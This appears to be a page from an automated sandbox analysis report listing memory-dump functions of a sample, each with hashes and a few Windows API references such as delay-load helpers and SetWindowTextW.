Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 052f9e0df220b4aa30d4b023a528dd048d1b4f268d616d5c693b48d34abede02
Instruction ID: dd171c7a5cd39e838402b1edd220f906c0e83997f154ee009744b0ff5688e40b
Opcode Fuzzy Hash: 052f9e0df220b4aa30d4b023a528dd048d1b4f268d616d5c693b48d34abede02
Instruction Fuzzy Hash: D4B092EA35A680AC21446106680A87B011CD0C1B10360912AB400D4280948048C50131

Function 00DE1B32 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1AE3

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7c97dc00c98e9517e3ef52933007840487edb7c656fee871e58c875e333c57dc
Instruction ID: 8044267674167161449ccbebd67bd0c32c9760acad067c07651584b0e15c6b34
Opcode Fuzzy Hash: 7c97dc00c98e9517e3ef52933007840487edb7c656fee871e58c875e333c57dc
Instruction Fuzzy Hash: 99B092EA35A644AC71046107680A83B011CE0C0B10360902AB000D1180948049C10131

Function 00DE1B28 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1AE3

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5dae96dcff030811ba3e041dac50e7df8d1316c3b2ad5b56d73cdd7a48f85f44
Instruction ID: 9f4c8bceeb3c0e03607f1843a839239b2e04412d2c1a68d91530ca6f6122f842
Opcode Fuzzy Hash: 5dae96dcff030811ba3e041dac50e7df8d1316c3b2ad5b56d73cdd7a48f85f44
Instruction Fuzzy Hash: 09B092AA39A644AC61046106690A83B011CD0C0B10360902AB000D1180D4804AC20131

Function 00DE1D4B Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1CFC

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9c3034ecd6f9f3b28f3112da8b20b6a2393d05e5b6a39337c50a48df6af51d02
Instruction ID: 0d4788ca3680cd2be3e09bd0d6695b653855e79ef003385a9f656b6ec8f8dd6d
Opcode Fuzzy Hash: 9c3034ecd6f9f3b28f3112da8b20b6a2393d05e5b6a39337c50a48df6af51d02
Instruction Fuzzy Hash: E4B012E639D240EC310471475C0BCBB014CC0C8F10370D11FFA00D41C0D4804C840032

Function 00DE1D37 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1CFC

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 81060ce3cd54fc4fda09cc6c197a56876bcaff63e06e85df47051e259211361b
Instruction ID: e642ba5970ed6e5276b903e554d8833a9d95de5b7470fb7a9f3bed0661c07b62
Opcode Fuzzy Hash: 81060ce3cd54fc4fda09cc6c197a56876bcaff63e06e85df47051e259211361b
Instruction Fuzzy Hash: E5B012E6399240EC310471075D0BDFB014CC0C8F10370D02FF700D41C0D4804C890032

Function 00DE1E10 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1E22

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9808a81ebce1c080642b45ff797edf61a1790de028285bab9d59567170aa83c5
Instruction ID: 261b831739a2de56ef29676c0fdea2b9a3963c0af1bf5a2c95f9606dde8b9b6f
Opcode Fuzzy Hash: 9808a81ebce1c080642b45ff797edf61a1790de028285bab9d59567170aa83c5
Instruction Fuzzy Hash: FAB012E6358280BD71047113AC0BC3B010CE1C0F11370502FF543F00C294804CC40036

Function 00DE1E2B Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1E22

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4f632667d73d923e3a322d8af59146289c8986e49250c26dda75126c2aa2c5b4
Instruction ID: 074e859e72415936df138a9690fac59584bdac5bbafa0e22e5390488e8568fba
Opcode Fuzzy Hash: 4f632667d73d923e3a322d8af59146289c8986e49250c26dda75126c2aa2c5b4
Instruction Fuzzy Hash: 83B092A6358281AD220461066D0A83B010CC1C4F10360511AB501E1181948049C40132

Function 00DC22AA Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(?,00000000), ref: 00DC22B6

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: c088daa7f43b8bcca896bc2e83280d488c1df47fdb51cacad2a2843de4ee1eda
Instruction ID: d830da60e8149a7701b267e98abdaec3511cb8a204205974ca69c2468de4f1ff
Opcode Fuzzy Hash: c088daa7f43b8bcca896bc2e83280d488c1df47fdb51cacad2a2843de4ee1eda
Instruction Fuzzy Hash: 17B0127921A0306B8B1837683C15CFE718ECF9B31030A809AB401E3286CF640C4101F8

Function 00DE1B9B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1AE3

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: be2ee878ad41cf1bc96a06d0e7fd029f42dbcfce37ffe2ed6018d0d9a587b45d
Instruction ID: 27330c3f52ff0824f822642053f1ff33ad4f9bed7225a64d52afde3c5bbb0dd1
Opcode Fuzzy Hash: be2ee878ad41cf1bc96a06d0e7fd029f42dbcfce37ffe2ed6018d0d9a587b45d
Instruction Fuzzy Hash: 23A001AA3AAA86FC71187253AD0AC3F022CE4C5F653B0992EF54294081A89059861535

Function 00DE1BA5 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1AE3

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e4e5a79e13f0c9977e58ca3c20a4f3031ac1ac9447d9b6cc863093eb675c6423
Instruction ID: 27330c3f52ff0824f822642053f1ff33ad4f9bed7225a64d52afde3c5bbb0dd1
Opcode Fuzzy Hash: e4e5a79e13f0c9977e58ca3c20a4f3031ac1ac9447d9b6cc863093eb675c6423
Instruction Fuzzy Hash: 23A001AA3AAA86FC71187253AD0AC3F022CE4C5F653B0992EF54294081A89059861535

Function 00DE1B5F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1AE3

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3d5186041f66c2a5541416a154e0bf30a629ae71a4f57a7af0f24591571747e4
Instruction ID: 27330c3f52ff0824f822642053f1ff33ad4f9bed7225a64d52afde3c5bbb0dd1
Opcode Fuzzy Hash: 3d5186041f66c2a5541416a154e0bf30a629ae71a4f57a7af0f24591571747e4
Instruction Fuzzy Hash: 23A001AA3AAA86FC71187253AD0AC3F022CE4C5F653B0992EF54294081A89059861535

Function 00DE1B41 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1AE3

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3fc2ec112b45b8df2d6aeeccb91f778bb540f2ed1c53e91dd89975671a64c37a
Instruction ID: 27330c3f52ff0824f822642053f1ff33ad4f9bed7225a64d52afde3c5bbb0dd1
Opcode Fuzzy Hash: 3fc2ec112b45b8df2d6aeeccb91f778bb540f2ed1c53e91dd89975671a64c37a
Instruction Fuzzy Hash: 23A001AA3AAA86FC71187253AD0AC3F022CE4C5F653B0992EF54294081A89059861535

Function 00DE1B69 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1AE3

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: eb141c451a873a643924bbe175b13d78b56a34fc717dfca2903d153e1c5f2da1
Instruction ID: 27330c3f52ff0824f822642053f1ff33ad4f9bed7225a64d52afde3c5bbb0dd1
Opcode Fuzzy Hash: eb141c451a873a643924bbe175b13d78b56a34fc717dfca2903d153e1c5f2da1
Instruction Fuzzy Hash: 23A001AA3AAA86FC71187253AD0AC3F022CE4C5F653B0992EF54294081A89059861535

Function 00DE1CEF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1CFC

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6bddff14d03366040493faa2c4959a6b0afd25c72c34148d11ccbf6a6a0c1702
Instruction ID: 3b4040a4719b5c637c962c60d4cc3de780787b4278ecd06764b051b867caca54
Opcode Fuzzy Hash: 6bddff14d03366040493faa2c4959a6b0afd25c72c34148d11ccbf6a6a0c1702
Instruction Fuzzy Hash: 05A001AA3AA696BC71187252AE0ACBB526DD4C4F253B0951EF951E4081A89059851435

Function 00DE1D46 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1CFC

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d205e7f94247880df85b90114aeb580dd2394d91f1466e41a6e287727a212d44
Instruction ID: 60ff0f57789a92ac96584bf591c5f11df4174445d91b3d2f91b20560635b1da9
Opcode Fuzzy Hash: d205e7f94247880df85b90114aeb580dd2394d91f1466e41a6e287727a212d44
Instruction Fuzzy Hash: B1A001AA3AA696FC71187252AD0ACBB525DD4C8F613B0991EF942D4081A89059851435

Function 00DE1D1E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1CFC

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3f95c2dba85b569dc0d592c36f621a7bdd64fe1b9c37ad8de0e3145303097665
Instruction ID: 60ff0f57789a92ac96584bf591c5f11df4174445d91b3d2f91b20560635b1da9
Opcode Fuzzy Hash: 3f95c2dba85b569dc0d592c36f621a7bdd64fe1b9c37ad8de0e3145303097665
Instruction Fuzzy Hash: B1A001AA3AA696FC71187252AD0ACBB525DD4C8F613B0991EF942D4081A89059851435

Function 00DE1D14 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1CFC

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9061a3569c4c0bbb29ea4fb480e966ac0099c3c2a40058fbc26ce4f2b5332046
Instruction ID: 60ff0f57789a92ac96584bf591c5f11df4174445d91b3d2f91b20560635b1da9
Opcode Fuzzy Hash: 9061a3569c4c0bbb29ea4fb480e966ac0099c3c2a40058fbc26ce4f2b5332046
Instruction Fuzzy Hash: B1A001AA3AA696FC71187252AD0ACBB525DD4C8F613B0991EF942D4081A89059851435

Function 00DE1D0A Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1CFC

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 43c48daef9748dc61ecfa0bd1702ecf141abbd656e6911c0126221173fd78e19
Instruction ID: 60ff0f57789a92ac96584bf591c5f11df4174445d91b3d2f91b20560635b1da9
Opcode Fuzzy Hash: 43c48daef9748dc61ecfa0bd1702ecf141abbd656e6911c0126221173fd78e19
